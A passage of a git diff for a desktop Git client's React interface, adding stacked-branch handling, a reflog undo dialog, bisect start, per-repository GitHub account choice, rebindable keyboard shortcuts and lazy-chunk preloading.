- GitHub CLI {tools.gh.installed ? `${tools.gh.version} found` : `not found (${MIN_TOOL_VERSIONS.gh} or newer; needed for GitHub features)`} - {!tools.gh.installed ? ( + GitHub CLI {tools.gh.installed ? `${tools.gh.version} found` : tools.gh.pending ? 'checking…' : `not found (${MIN_TOOL_VERSIONS.gh} or newer; needed for GitHub features)`} + {!tools.gh.installed && tools.gh.pending ? null : !tools.gh.installed ? ( Install with {ghInstall} or download from . diff --git a/src/renderer/src/components/Toolbar.tsx b/src/renderer/src/components/Toolbar.tsx index 23e5f92..91b0fcb 100644 --- a/src/renderer/src/components/Toolbar.tsx +++ b/src/renderer/src/components/Toolbar.tsx @@ -222,6 +222,8 @@ function RepositoryPopover(): React.JSX.Element { const contextMenu = (e: React.MouseEvent, repo: RepositoryInfo) => { const items: MenuItem[] = [ + // Only the local desktop app can open more windows (its preload is the one that exposes `getPathForFile`). + ...(window.gitgoodBridge.getPathForFile ? [{ label: 'Open in New Window', onClick: () => { store.set({ popover: null }); void actions.openRepositoryInNewWindow(repo); }, disabled: repo.missing }, { type: 'separator' as const }] : []), { label: 'Open in external editor', onClick: () => void actions.openRepository(repo).then(() => actions.openInEditor()), disabled: repo.missing }, { label: 'Open in terminal', onClick: () => void actions.openRepository(repo).then(() => actions.openInShell()), disabled: repo.missing }, { label: 'Show in folder', onClick: () => void actions.openRepository(repo).then(() => actions.showInFolder()), disabled: repo.missing }, @@ -232,6 +234,7 @@ function RepositoryPopover(): React.JSX.Element { { label: 'Move to group…', disabled: !!repo.worktreeOf || !!repo.parentRepoId, onClick: () => { store.set({ popover: null }); void actions.openRepository(repo).then(() => openDialog({ kind: 'repo-settings', tab: 'alias' })); } }, ...(repo.group ? [{ label: `Remove from “${repo.group}”`, onClick: () => void actions.setRepoPrefs(repo, { group: null }) }] : []), { label: repo.aiDisabled ? 'Enable AI for this repository' : 'Disable AI for this repository', disabled: !!repo.worktreeOf, onClick: () => void actions.setRepoAiDisabled(repo, !repo.aiDisabled) }, + { label: repo.githubAccount ? `GitHub account: @${repo.githubAccount.login}…` : 'GitHub account…', disabled: !repo.github || !!repo.worktreeOf || repo.missing, onClick: () => { store.set({ popover: null }); void actions.openRepository(repo).then(() => openDialog({ kind: 'repo-settings', tab: 'account' })); } }, { type: 'separator' }, repo.worktreeOf ? { label: 'Manage worktrees…', onClick: () => { store.set({ popover: null }); void actions.openRepository(repos.find((r) => r.id === repo.worktreeOf) ?? repo).then(() => openDialog({ kind: 'worktrees' })); } } @@ -329,12 +332,17 @@ function RepositoryPopover(): React.JSX.Element { const branchKeys = (b: Branch) => [b.name, b.lastCommitSubject, b.lastCommitAuthor]; +/** Branch-list marker for the current branch's stack: the current branch says what it is stacked on, the branches below it say they belong to the stack. */ +const stackNote = (b: Branch, parents: string[]): string | null => + b.kind !== 'local' ? null : b.isCurrent && parents.length ? `stacked on ${parents[parents.length - 1]}` : parents.includes(b.name) ? 'in current stack' : null; + function BranchPopover(): React.JSX.Element { usePopoverClose(); const repo = useAppStore((s) => s.currentRepo); const branches = useAppStore((s) => s.branches); const defaultBranch = useAppStore((s) => s.defaultBranch); const prs = useAppStore((s) => s.prs); + const stack = useAppStore((s) => s.stack); const [tab, setTab] = useState<'branches' | 'prs'>('branches'); const [query, setQuery] = useState(''); const listRef = useRef(null); @@ -371,6 +379,7 @@ function BranchPopover(): React.JSX.Element { { label: 'Squash and merge into current branch…', onClick: () => openDialog({ kind: 'merge', squash: true, preselect: b.name }), disabled: b.isCurrent }, { label: 'Rebase current branch onto…', onClick: () => openDialog({ kind: 'rebase', preselect: b.name }), disabled: b.isCurrent }, { label: 'Compare…', onClick: () => openDialog({ kind: 'compare' }) }, + ...(b.isCurrent && stack.parents.length ? [{ label: `Push stack (${stack.parents.length + 1} branches)…`, onClick: () => actions.pushStack() }] : []), { type: 'separator' }, { label: 'Create worktree for this branch…', icon: 'worktree', onClick: () => { store.set({ popover: null }); openDialog({ kind: 'add-worktree', startBranch: b.name }); } }, { type: 'separator' }, @@ -382,7 +391,7 @@ function BranchPopover(): React.JSX.Element { ]; openContextMenu(e, items); }, - [repo], + [repo, stack.parents], ); const row = (b: Branch) => ( @@ -390,7 +399,7 @@ function BranchPopover(): React.JSX.Element { {b.name} - {b.lastCommitSubject} + {[stackNote(b, stack.parents), b.lastCommitSubject].filter(Boolean).join(' · ')} {b.isCurrent ? : null} diff --git a/src/renderer/src/components/dialogs/BranchDialogs.tsx b/src/renderer/src/components/dialogs/BranchDialogs.tsx index fb188f9..851137c 100644 --- a/src/renderer/src/components/dialogs/BranchDialogs.tsx +++ b/src/renderer/src/components/dialogs/BranchDialogs.tsx @@ -203,12 +203,14 @@ export function MergeDialog({ squash, preselect, rebase }: { squash: boolean; pr const [selected, setSelected] = useState(() => branches.find((b) => b.name === preselect) ?? null); const compare = useCompare(current, selected?.name ?? null); const [busy, setBusy] = useState(false); + const stack = useAppStore((s) => s.stack); + const [updateRefs, setUpdateRefs] = useState(true); const title = rebase ? `Rebase ${current}` : squash ? `Squash and merge into ${current}` : `Merge into ${current}`; const verb = rebase ? 'Rebase' : squash ? 'Squash and merge' : 'Merge'; const run = async () => { if (!selected) return; setBusy(true); - if (rebase) await actions.rebaseOnto(selected.name); + if (rebase) await actions.rebaseOnto(selected.name, stack.parents.length > 0 && stack.canUpdateRefs && updateRefs); else await actions.mergeBranch(selected.name, squash); setBusy(false); }; @@ -241,6 +243,19 @@ export function MergeDialog({ squash, preselect, rebase }: { squash: boolean; pr > b.isCurrent} /> {rebase && status && status.files.length ? You have uncommitted changes. Commit or stash them before rebasing. : null} + {rebase && stack.parents.length ? ( + <> + Stack: {[...stack.parents, current].join(' → ')} + + {!stack.canUpdateRefs ?

Updating dependent branches needs Git 2.38 or newer.

: null} + + ) : null} ); } diff --git a/src/renderer/src/components/dialogs/GitHubDialogs.tsx b/src/renderer/src/components/dialogs/GitHubDialogs.tsx index b3d4538..ad0150d 100644 --- a/src/renderer/src/components/dialogs/GitHubDialogs.tsx +++ b/src/renderer/src/components/dialogs/GitHubDialogs.tsx @@ -21,11 +21,11 @@ export function SignInDialog(): React.JSX.Element { const login = useAppStore((s) => s.login); const tools = useAppStore((s) => s.tools); const account = tools?.ghAccount ?? null; - const ghMissing = tools ? !tools.gh.installed : false; + const ghMissing = tools ? !tools.gh.installed && !tools.gh.pending : false; + // Opened while already signed in = "Add another account" (or a scope refresh): never auto-close then. + const openedSignedIn = useRef(!!account); useEffect(() => { - // Auto-close once signed in — but not while a scope refresh (grantNotificationsScope) is - // deliberately reusing this dialog for an already-signed-in account. - if (account && !login.inProgress) closeDialog(); + if (account && !login.inProgress && !openedSignedIn.current) closeDialog(); // eslint-disable-next-line react-hooks/exhaustive-deps }, [account]); return ( @@ -122,7 +122,9 @@ export function CreatePullRequestDialog({ autoDraft }: { autoDraft?: boolean }): const commits = useAppStore((s) => s.history.commits); const draftProgress = useAppStore((s) => s.ai['']); const head = status?.branch.name ?? ''; - const [base, setBase] = useState(defaultBranch ?? 'main'); + const stackParent = useAppStore((s) => s.stack.parents.at(-1)); + // A stacked branch's PR targets its parent branch, but only once that branch exists on the remote. + const [base, setBase] = useState(() => (stackParent && branches.some((b) => b.kind === 'remote' && b.name === `origin/${stackParent}`) ? stackParent : (defaultBranch ?? 'main'))); const [title, setTitle] = useState(() => commits[0]?.summary ?? head.replace(/[-_/]+/g, ' ')); const [body, setBody] = useState(''); const [draft, setDraft] = useState(false); diff --git a/src/renderer/src/components/dialogs/ReflogDialogs.tsx b/src/renderer/src/components/dialogs/ReflogDialogs.tsx new file mode 100644 index 0000000..97eb5cd --- /dev/null +++ b/src/renderer/src/components/dialogs/ReflogDialogs.tsx @@ -0,0 +1,90 @@ +import React, { useEffect, useState } from 'react'; +import type { ReflogEntry } from '@shared/types'; +import { shortSha } from '@shared/util'; +import { errorMessage, invoke } from '../../api'; +import * as actions from '../../state/actions'; +import { restoreBranchTo, startBisect } from '../../state/reflog'; +import { closeDialog, openDialog, useAppStore } from '../../state/store'; +import { Badge, Button, Callout, Dialog, RelativeTime, Spinner, TextField, openContextMenu, type MenuItem } from '../ui'; + +/** Undo history: HEAD's reflog, with restore / branch / checkout per entry. */ +export function ReflogDialog(): React.JSX.Element { + const repo = useAppStore((s) => s.currentRepo); + const headSha = useAppStore((s) => s.status?.branch.sha ?? null); + const [entries, setEntries] = useState(null); + const [error, setError] = useState(null); + + useEffect(() => { + if (!repo) return; + invoke('repo.reflog', repo.path).then(setEntries, (err) => setError(errorMessage(err))); + }, [repo]); + + const label = (e: ReflogEntry) => `${e.action}${e.message ? `: ${e.message}` : ''}`; + const menu = (e: ReflogEntry): MenuItem[] => [ + { label: 'Restore branch to this point…', icon: 'undo', disabled: e.sha === headSha, onClick: () => restoreBranchTo(e.sha, label(e)) }, + { label: 'Create branch here…', icon: 'branch', onClick: () => openDialog({ kind: 'new-branch', startPoint: e.sha, startPointLabel: `${shortSha(e.sha)} ${label(e)}` }) }, + { label: 'Check out (detached)', onClick: () => void actions.checkoutCommit(e.sha), disabled: e.sha === headSha }, + ]; + + return ( + Close}> +

+ Every place HEAD has been, newest first. Restore a branch to an earlier point to undo a commit, amend, merge, rebase or reset; nothing is lost until git expires these entries. +

+ {error ? ( + {error} + ) : !entries ? ( +
+ Loading… +
+ ) : !entries.length ? ( +
This repository has no reflog entries yet.
+ ) : ( +
+ {entries.map((e) => ( +
openContextMenu(ev, menu(e))}> + + + {e.action} {e.message} {e.sha === headSha ? current : null} + + + · {shortSha(e.sha)} + + + +
+ ))} +
+ )} +
+ ); +} + +/** Asks for the known-good end after "mark bad" in History (the bad end is the commit that was right-clicked). */ +export function BisectStartDialog({ bad, badLabel }: { bad: string; badLabel: string }): React.JSX.Element { + const [good, setGood] = useState(''); + const value = good.trim(); + const valid = value !== '' && !value.startsWith('-'); + const submit = () => valid && void startBisect(bad, value); + return ( + + + + + } + > +

+ {badLabel} will be marked bad. Git then checks out commits between it and the last one you know was good, so you can test each and mark it good or bad. +

+
{ e.preventDefault(); submit(); }}> + setGood(e.target.value)} autoFocus spellCheck={false} placeholder="v1.2.0, a branch name or a commit hash" /> + +
+ ); +} diff --git a/src/renderer/src/components/dialogs/RepoDialogs.tsx b/src/renderer/src/components/dialogs/RepoDialogs.tsx index 0baf0f0..2d2a44c 100644 --- a/src/renderer/src/components/dialogs/RepoDialogs.tsx +++ b/src/renderer/src/components/dialogs/RepoDialogs.tsx @@ -453,6 +453,12 @@ export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab const [identity, setIdentity] = useState<{ useLocal: boolean; name: string; email: string; globalName: string; globalEmail: string } | null>(null); const [busy, setBusy] = useState(false); const [error, setError] = useState(null); + const ghAccounts = useAppStore((s) => s.tools?.ghAccounts ?? []); + const accountKey = (a: { host: string; login: string } | undefined | null) => (a ? `${a.host}/${a.login}` : ''); + const [accountChoice, setAccountChoice] = useState(accountKey(repo?.githubAccount)); + const accountHost = repo?.github?.host ?? null; + const accountOptions = ghAccounts.filter((a) => !accountHost || a.host === accountHost); + const activeForHost = ghAccounts.find((a) => a.active && (!accountHost || a.host === accountHost)); useEffect(() => { if (!repo) return; @@ -476,6 +482,10 @@ export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab } await invoke('repos.setAlias', repo.id, alias.trim() || null); if (group.trim() !== (repo.group ?? '')) await invoke('repos.setPrefs', repo.id, { group: group.trim() || null }); + if (accountChoice !== accountKey(repo.githubAccount)) { + const picked = accountOptions.find((a) => accountKey(a) === accountChoice) ?? repo.githubAccount; + await invoke('repos.setPrefs', repo.id, { githubAccount: accountChoice && picked ? { host: picked.host, login: picked.login } : null }); + } closeDialog(); await actions.refreshAll(); } catch (err) { @@ -499,9 +509,9 @@ export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab } >
- {(['remote', 'ignored', 'identity', 'alias'] as RepoSettingsTab[]).map((t) => ( + {(['remote', 'ignored', 'identity', 'account', 'alias'] as RepoSettingsTab[]).map((t) => ( ))}
@@ -553,6 +563,28 @@ export function RepoSettingsDialog({ tab: initialTab }: { tab?: RepoSettingsTab ) : null} ) : null} + {tab === 'account' ? ( + <> +
+ + + Pull requests, issues and every fetch, pull and push in this repository use this account instead of the active one. Remembered on this computer only; the token is never stored or exported. +
+ {ghAccounts.length < 2 ?

Add another account in Options → Accounts to choose between them.

: null} + {identity ? ( +

+ Commits here are authored as {identity.useLocal ? identity.name : identity.globalName || '(no name)'} <{identity.useLocal ? identity.email : identity.globalEmail || 'no email'}> ({identity.useLocal ? 'local Git config' : 'global Git config'}).{' '} + +

+ ) : null} + + ) : null} {tab === 'alias' ? ( <> setAlias(e.target.value)} placeholder={repo?.name} /> diff --git a/src/renderer/src/components/dialogs/SettingsDialog.tsx b/src/renderer/src/components/dialogs/SettingsDialog.tsx index 73ff71d..c04bbae 100644 --- a/src/renderer/src/components/dialogs/SettingsDialog.tsx +++ b/src/renderer/src/components/dialogs/SettingsDialog.tsx @@ -1,9 +1,10 @@ import React, { useEffect, useState } from 'react'; import { watchedFolderLabel, type AiFeature, type AiUsageMonth, type AppSettings, type FoundEditor, type FoundShell, type RepositoryScanProgress, type SigningConfig, type SigningConfigInfo, type SigningKey, type WatchedFolderProblem, type WatchedFolderStatus } from '@shared/types'; -import { errorMessage, invoke, isMac, modKey, on } from '../../api'; +import { errorMessage, invoke, isMac, on } from '../../api'; import * as actions from '../../state/actions'; import { closeDialog, openDialog, store, useAppStore, type SettingsTab } from '../../state/store'; import { modelFor } from '@shared/ai-model'; +import { acceleratorFromEvent, findConflict, formatAccelerator, mergeShortcuts, setShortcut, SHORTCUT_CATEGORIES, SHORTCUTS, type ShortcutConflict, type ShortcutOverrides } from '@shared/shortcuts'; import { AGENT_PRESETS, agentTemplate, validateAgentTemplate } from '@shared/agent-presets'; import { Avatar, Button, Callout, Checkbox, Dialog, FilterInput, Icon, Spinner, TextField, type IconName } from '../ui'; import { LinkifiedText } from './IssueDialogs'; @@ -59,21 +60,37 @@ export function SettingsDialog({ tab: initialTab }: { tab?: SettingsTab }): Reac function AccountsTab(): React.JSX.Element { const tools = useAppStore((s) => s.tools); const account = tools?.ghAccount ?? null; - const [busy, setBusy] = useState(false); + const accounts = tools?.ghAccounts ?? []; + const [busy, setBusy] = useState(null); + const run = async (key: string, fn: () => Promise) => { + setBusy(key); + await fn(); + setBusy(null); + }; + const ghMissing = !!tools && !tools.gh.installed && !tools.gh.pending; return ( <> -

GitHub.com

+

GitHub accounts

{account ? ( <> -
- - - {account.name ?? account.login} - @{account.login} · {account.host} - - -
-

Token scopes: {account.scopes.join(', ') || 'unknown'} · Git protocol: {account.protocol ?? 'https'}

+ {accounts.map((a) => { + const key = `${a.host}/${a.login}`; + const profile = a.host === account.host && a.login === account.login ? account : null; + return ( +
+ + + {profile?.name ?? a.login} + @{a.login} · {a.host}{a.active ? ' · active' : ''} + Scopes: {a.scopes.join(', ') || 'unknown'} · Git protocol: {a.protocol ?? 'https'} + + {!a.active ? : null} + +
+ ); + })} + +

The active account is used for every repository unless you choose one for it in Repository settings → GitHub account.

{tools && !tools.credentialHelperConfigured ? ( Git is not configured to use the GitHub CLI for authentication, so pushes to private repositories may fail.{' '} @@ -86,8 +103,9 @@ function AccountsTab(): React.JSX.Element { ) : ( <>

Sign in to clone your repositories, open pull requests and push over HTTPS without managing tokens.

- - {tools && !tools.gh.installed ? Install the GitHub CLI first (see the Advanced tab). : null} + + {tools?.gh.pending ?

Checking for the GitHub CLI…

: null} + {ghMissing ? Install the GitHub CLI first (see the Advanced tab). : null} {tools?.ghAuthError ? {tools.ghAuthError} : null} )} @@ -218,6 +236,7 @@ function GitTab({ settings, update }: { settings: AppSettings; update: (p: Parti

History

update({ historyVerifySignatures: v })} label="Verify commit signatures in History (shown as badges; slower on large histories)" /> + update({ historyGraph: v })} label="Show the commit graph in History (branch lanes; hidden while searching or filtering)" /> ); @@ -961,7 +980,7 @@ function AdvancedTab({ settings, update }: { settings: AppSettings; update: (p: useEffect(() => { void invoke('app.info').then(setInfo); }, []); - const row = (label: string, tool: { installed: boolean; version: string | null; path: string | null; error: string | null } | undefined, key: 'gitPath' | 'ghPath' | 'claudeCliPath', install: string) => ( + const row = (label: string, tool: { installed: boolean; version: string | null; path: string | null; error: string | null; pending?: boolean } | undefined, key: 'gitPath' | 'ghPath' | 'claudeCliPath', install: string) => (
@@ -973,7 +992,7 @@ function AdvancedTab({ settings, update }: { settings: AppSettings; update: (p: (key === 'claudeCliPath' ? update({ ai: { ...settings.ai, claudeCliPath: e.target.value || null } }) : update({ [key]: e.target.value || null }))} spellCheck={false} />
- {!tool?.installed ? Install: {install} : null} + {!tool?.installed && !tool?.pending ? Install: {install} : null}
); return ( @@ -1026,7 +1045,7 @@ function AdvancedTab({ settings, update }: { settings: AppSettings; update: (p: ·

) : null} -

Keyboard shortcuts: {modKey}+/

+

Keyboard shortcuts: {formatAccelerator(mergeShortcuts(settings.shortcuts)['keyboard-shortcuts'] ?? '', isMac) || 'unassigned'}

); } @@ -1103,53 +1122,85 @@ export function UpdateNotesDialog({ version, notes, url }: { version: string; no } export function ShortcutsDialog(): React.JSX.Element { - const m = modKey; - const categories = ['Navigation', 'Editing', 'AI', 'Git ops', 'View'] as const; - type ShortcutCategory = (typeof categories)[number]; - const rows: { category: ShortcutCategory; label: string; keys: string }[] = [ - { category: 'Git ops', label: 'New repository', keys: `${m}+N` }, - { category: 'Git ops', label: 'Add local repository', keys: `${m}+O` }, - { category: 'Git ops', label: 'Clone repository', keys: `${m}+Shift+O` }, - { category: 'View', label: 'Options', keys: `${m}+,` }, - { category: 'AI', label: 'Ask GitGood (command palette)', keys: `${m}+K` }, - { category: 'Navigation', label: 'Show Changes', keys: `${m}+1` }, - { category: 'Navigation', label: 'Show History', keys: `${m}+2` }, - { category: 'Navigation', label: 'Show Stashes', keys: `${m}+Shift+S` }, - { category: 'Navigation', label: 'Repository health', keys: `${m}+Shift+K` }, - { category: 'Navigation', label: 'Repository list', keys: `${m}+T` }, - { category: 'Navigation', label: 'Branch list', keys: `${m}+B` }, - { category: 'Navigation', label: 'Notifications inbox', keys: `${m}+Shift+J` }, - { category: 'Navigation', label: 'Go to commit summary', keys: `${m}+G` }, - { category: 'Editing', label: 'Commit', keys: `${m}+Enter` }, - { category: 'View', label: 'Toggle split diff', keys: `${m}+Shift+D` }, - { category: 'View', label: 'Toggle blame', keys: 'Alt+B' }, - { category: 'Git ops', label: 'Push', keys: `${m}+P` }, - { category: 'Git ops', label: 'Pull', keys: `${m}+Shift+P` }, - { category: 'Git ops', label: 'Fetch', keys: `${m}+Shift+T` }, - { category: 'Git ops', label: 'New branch', keys: `${m}+Shift+N` }, - { category: 'Git ops', label: 'Merge into current branch', keys: `${m}+Shift+M` }, - { category: 'Git ops', label: 'Rebase current branch', keys: `${m}+Shift+E` }, - { category: 'Git ops', label: 'Update from default branch', keys: `${m}+Shift+U` }, - { category: 'Git ops', label: 'Create pull request', keys: `${m}+R` }, - { category: 'AI', label: 'Review pull request with AI', keys: `${m}+Shift+R` }, - { category: 'Git ops', label: 'View on GitHub', keys: `${m}+Shift+G` }, - { category: 'Navigation', label: 'Open in terminal', keys: 'Ctrl+`' }, - { category: 'Navigation', label: 'Show in folder', keys: `${m}+Shift+F` }, - { category: 'Navigation', label: 'Open in external editor', keys: `${m}+Shift+A` }, - { category: 'Editing', label: 'Discard all changes', keys: `${m}+Shift+Backspace` }, - { category: 'View', label: 'Zoom in / out / reset', keys: `${m}+= / ${m}+- / ${m}+0` }, - ]; + const overrides = useAppStore((s) => s.settings?.shortcuts) ?? {}; + const shortcuts = mergeShortcuts(overrides); const [query, setQuery] = useState(''); + const [recording, setRecording] = useState(null); + const [note, setNote] = useState(null); + const [pending, setPending] = useState<{ id: string; accelerator: string; conflict: ShortcutConflict } | null>(null); + const labelOf = (id: string): string => SHORTCUTS.find((d) => d.id === id)?.label ?? id; + const save = (next: ShortcutOverrides): void => void actions.updateSettings({ shortcuts: next }); + + useEffect(() => { + if (!recording) return; + const onKey = (e: KeyboardEvent): void => { + if (['Control', 'Shift', 'Alt', 'Meta'].includes(e.key)) return; + e.preventDefault(); + e.stopPropagation(); + if (e.key === 'Escape' && !e.ctrlKey && !e.metaKey && !e.altKey && !e.shiftKey) { + setRecording(null); + setNote(null); + return; + } + const accelerator = acceleratorFromEvent(e, isMac); + if (!accelerator) { + setNote('That key cannot be bound on its own: combine it with Ctrl/Cmd or Alt, or use a function key.'); + return; + } + const conflict = findConflict(shortcuts, recording, accelerator, isMac); + if (conflict?.id === null) { + setNote(`${formatAccelerator(accelerator, isMac)} is reserved for "${conflict.label}". Press another combination.`); + return; + } + setRecording(null); + setNote(null); + if (conflict) setPending({ id: recording, accelerator, conflict }); + else save(setShortcut(overrides, recording, accelerator)); + }; + window.addEventListener('keydown', onKey, true); + return () => window.removeEventListener('keydown', onKey, true); + }); + const terms = query.trim().toLowerCase().split(/\s+/).filter(Boolean); - const filteredRows = rows.filter(({ category, label, keys }) => { - const haystack = `${category} ${label} ${keys}`.toLowerCase(); + const rows = SHORTCUTS.filter(({ id, category, label }) => { + const haystack = `${category} ${label} ${shortcuts[id] ? formatAccelerator(shortcuts[id], isMac) : ''}`.toLowerCase(); return terms.every((term) => haystack.includes(term)); }); + const customised = Object.keys(overrides).length > 0; return ( - Close}> + + + + + } + > - {categories.map((category) => { - const categoryRows = filteredRows.filter((row) => row.category === category); + {pending ? ( + +

+ {formatAccelerator(pending.accelerator, isMac)} is already used by "{pending.conflict.label}". Use it for "{labelOf(pending.id)}" and unbind "{pending.conflict.label}"? +

+ {' '} + +
+ ) : null} + {note ? {note} : null} + {SHORTCUT_CATEGORIES.map((category) => { + const categoryRows = rows.filter((row) => row.category === category); if (categoryRows.length === 0) return null; const headingId = `shortcut-category-${category.toLowerCase().replace(/ /g, '-')}`; return ( @@ -1157,16 +1208,14 @@ export function ShortcutsDialog(): React.JSX.Element {

{category}

- {categoryRows.map(({ label, keys }) => ( - + {categoryRows.map(({ id, label }) => ( + ))} @@ -1175,7 +1224,7 @@ export function ShortcutsDialog(): React.JSX.Element { ); })} - {filteredRows.length === 0 ?

No matching shortcuts.

: null} + {rows.length === 0 ?

No matching shortcuts.

: null} ); } diff --git a/src/renderer/src/components/dialogs/index.tsx b/src/renderer/src/components/dialogs/index.tsx index 1220eba..e3f9d7b 100644 --- a/src/renderer/src/components/dialogs/index.tsx +++ b/src/renderer/src/components/dialogs/index.tsx @@ -26,6 +26,8 @@ const NewIssueDialog = lazyExport(() => import('./IssueDialogs'), 'NewIssueDialo const ReleaseNotesDialog = lazyExport(() => import('./ReleaseNotesDialog'), 'ReleaseNotesDialog'); const SplitPlanDialog = lazyExport(() => import('./SplitDialogs'), 'SplitPlanDialog'); const TidyBranchDialog = lazyExport(() => import('./RebaseDialogs'), 'TidyBranchDialog'); +const ReflogDialog = lazyExport(() => import('./ReflogDialogs'), 'ReflogDialog'); +const BisectStartDialog = lazyExport(() => import('./ReflogDialogs'), 'BisectStartDialog'); const BulkDeleteBranchesDialog = lazyExport(() => import('./HealthDialogs'), 'BulkDeleteBranchesDialog'); const WorktreesDialog = lazyExport(() => import('./WorktreeDialogs'), 'WorktreesDialog'); const AddWorktreeDialog = lazyExport(() => import('./WorktreeDialogs'), 'AddWorktreeDialog'); @@ -156,6 +158,10 @@ function CurrentDialog(): React.JSX.Element | null { return ; case 'tidy-branch': return ; + case 'reflog': + return ; + case 'bisect-start': + return ; case 'trust-repo-check': return ; case 'resolution-popover': diff --git a/src/renderer/src/lib/lazy.ts b/src/renderer/src/lib/lazy.ts index 23356bc..3f4d647 100644 --- a/src/renderer/src/lib/lazy.ts +++ b/src/renderer/src/lib/lazy.ts @@ -1,6 +1,32 @@ -import { lazy, type ComponentType, type LazyExoticComponent } from 'react'; +import { createElement, lazy, useState, type ComponentProps, type ComponentType } from 'react'; -/** `React.lazy` for a named export, so heavy views and dialogs load as separate chunks on first use. Props are inferred from the module's export. */ -export function lazyExport, K extends keyof M & string>(load: () => Promise, name: K): LazyExoticComponent ? M[K] : never> { - return lazy(() => load().then((m) => ({ default: m[name] }))); +const preloaders: (() => void)[] = []; +let preloadScheduled = false; + +/** Fetches every lazy chunk once the app is idle after first paint, so first open never waits on (or flashes) a Suspense fallback. */ +function schedulePreload(): void { + if (preloadScheduled) return; + preloadScheduled = true; + const run = () => preloaders.forEach((preload) => preload()); + if (typeof requestIdleCallback === 'function') requestIdleCallback(run, { timeout: 3000 }); + else setTimeout(run, 1500); +} + +/** + * `React.lazy` for a named export, so heavy views and dialogs ship as separate chunks. Chunks are preloaded on idle; + * a component mounted after its module has loaded renders directly (React 19 holds a lazy component's first render back + * ~300 ms behind the Suspense fallback even when the chunk is cached). Props are inferred from the module's export. + */ +export function lazyExport, K extends keyof M & string>(load: () => Promise, name: K): ComponentType> { + let loaded: ComponentType> | null = null; + const remember = (m: M): ComponentType> => (loaded = m[name]); + // A lazy component is a valid ComponentType at runtime; React's types only lack the overlap for generic props. + const Lazy = lazy>>(() => load().then((m) => ({ default: remember(m) }))) as unknown as ComponentType>; + preloaders.push(() => void load().then(remember).catch(() => undefined)); + schedulePreload(); + // The choice is made once per mount, so a mounted dialog is never remounted (losing its state) when its module finishes loading. + return function LazyExport(props: ComponentProps) { + const [Direct] = useState(() => loaded); + return createElement(Direct ?? Lazy, props); + }; } diff --git a/src/renderer/src/lib/shortcuts.ts b/src/renderer/src/lib/shortcuts.ts new file mode 100644 index 0000000..3564d2c --- /dev/null +++ b/src/renderer/src/lib/shortcuts.ts @@ -0,0 +1,8 @@ +import { matchesAccelerator, mergeShortcuts, type KeyLike } from '@shared/shortcuts'; +import { isMac } from '../api'; +import { store } from '../state/store'; + +/** True when the key press is the user's current binding for `id` (defaults + settings.shortcuts), for shortcuts the renderer handles itself. */ +export function shortcutMatches(id: string, e: KeyLike): boolean { + return matchesAccelerator(mergeShortcuts(store.get().settings?.shortcuts)[id], e, isMac); +} diff --git a/src/renderer/src/state/actions.ts b/src/renderer/src/state/actions.ts index eaec123..086692b 100644 --- a/src/renderer/src/state/actions.ts +++ b/src/renderer/src/state/actions.ts @@ -1,4 +1,4 @@ -import type { AddWorktreeOptions, BlameHunk, BlameResult, Branch, BranchDeleteResult, Commit, CommitOptions, ErrorFix, ExplainSource, ExplainTarget, FileDiff, GitErrorInfo, HistoryQuery, PrTriage, PullRequest, RepoWork, RepositoryInfo, RepositoryScanResult, RepositoryStatus, Stash, StaleBranch, TriageState, UncommittedChangesStrategy, WorkingFile, ConflictResolutionResult, AppSettings, UpdateState, Worktree } from '@shared/types'; +import type { AddWorktreeOptions, BlameHunk, BlameResult, Branch, BranchDeleteResult, Commit, CommitOptions, ErrorFix, ExplainSource, ExplainTarget, FileDiff, GitErrorInfo, HistoryQuery, PrTriage, PullRequest, RepoPrefs, RepoWork, RepositoryInfo, RepositoryScanResult, RepositoryStatus, Stash, StaleBranch, TriageState, UncommittedChangesStrategy, WorkingFile, ConflictResolutionResult, AppSettings, UpdateState, Worktree } from '@shared/types'; import { aiEnabled } from '@shared/ai-model'; import { EMPTY_HISTORY_QUERY, EXPLAIN_FOLLOWUP_LIMIT, ZERO_SHA } from '@shared/types'; import type { OperationOutcome } from '@shared/ipc'; @@ -13,6 +13,7 @@ import { handleRebaseProgress, tidyBranch } from './rebase'; import { handleSplitProgress, openSplitDialog } from './split'; import { initInbox, loadInboxState, openInboxItemById, toggleInboxPanel } from './inbox'; import { openCommandPalette } from './nlPalette'; +import { undoLastOperation } from './reflog'; import { handleProtocolReviewRerun } from './agentHandoff'; export * from './review'; @@ -137,7 +138,9 @@ export async function bootstrap(): Promise { setInterval(() => void pollPullRequestNotifications(), 3 * 60_000); - const candidates = repos.filter((r) => !r.missing).sort((a, b) => b.lastOpened - a.lastOpened); + // A window opened from the repository list starts on that repository (`#repo=`), a blank one (`#repo=`) on none; the first window reopens the last used one. + const wanted = new URLSearchParams(location.hash.slice(1)).get('repo'); + const candidates = repos.filter((r) => !r.missing && (wanted === null || r.id === wanted)).sort((a, b) => b.lastOpened - a.lastOpened); if (candidates.length) await openRepository(candidates[0]); const [tools] = await Promise.all([toolsWithStore, updateStateWithStore]); @@ -351,6 +354,15 @@ export async function openFolderAsRepository({ path }: { path: string }): Promis else openDialog({ kind: 'add-repo', path }); } +/** Desktop app only: shows `repo` in another window, which has its own open repository, selection and dialogs. */ +export async function openRepositoryInNewWindow(repo: RepositoryInfo): Promise { + try { + await invoke('app.newWindow', repo.id); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open a new window', message: errorMessage(err) }); + } +} + /** One sentence for a finished watched-folder scan, for the toast and the Options summary. */ export function describeScanResult(result: RepositoryScanResult): string { if (result.alreadyRunning) return 'A scan is already running.'; @@ -729,9 +741,9 @@ export async function refreshBranches(): Promise { const repo = store.get().currentRepo; if (!repo) return; try { - const [branches, defaultBranch] = await Promise.all([invoke('repo.branches', repo.path), invoke('repo.defaultBranch', repo.path)]); + const [branches, defaultBranch, stack] = await Promise.all([invoke('repo.branches', repo.path), invoke('repo.defaultBranch', repo.path), invoke('repo.stack', repo.path)]); if (store.get().currentRepo?.path !== repo.path) return; - store.set({ branches, defaultBranch }); + store.set({ branches, defaultBranch, stack }); } catch { /* status refresh reports errors */ } @@ -949,11 +961,13 @@ export async function loadHistory(reset: boolean): Promise { slowSearchTimer = setTimeout(() => patchHistory({ slowSearch: true }), 5000); try { const skip = reset ? 0 : h.commits.length; - const page = await invoke('repo.history', repo.path, { ref: null, skip, limit: HISTORY_PAGE, path: h.path, search: h.freeText.trim() || null, follow: !!h.path, query: isEmptyHistoryQuery(h.query) ? null : 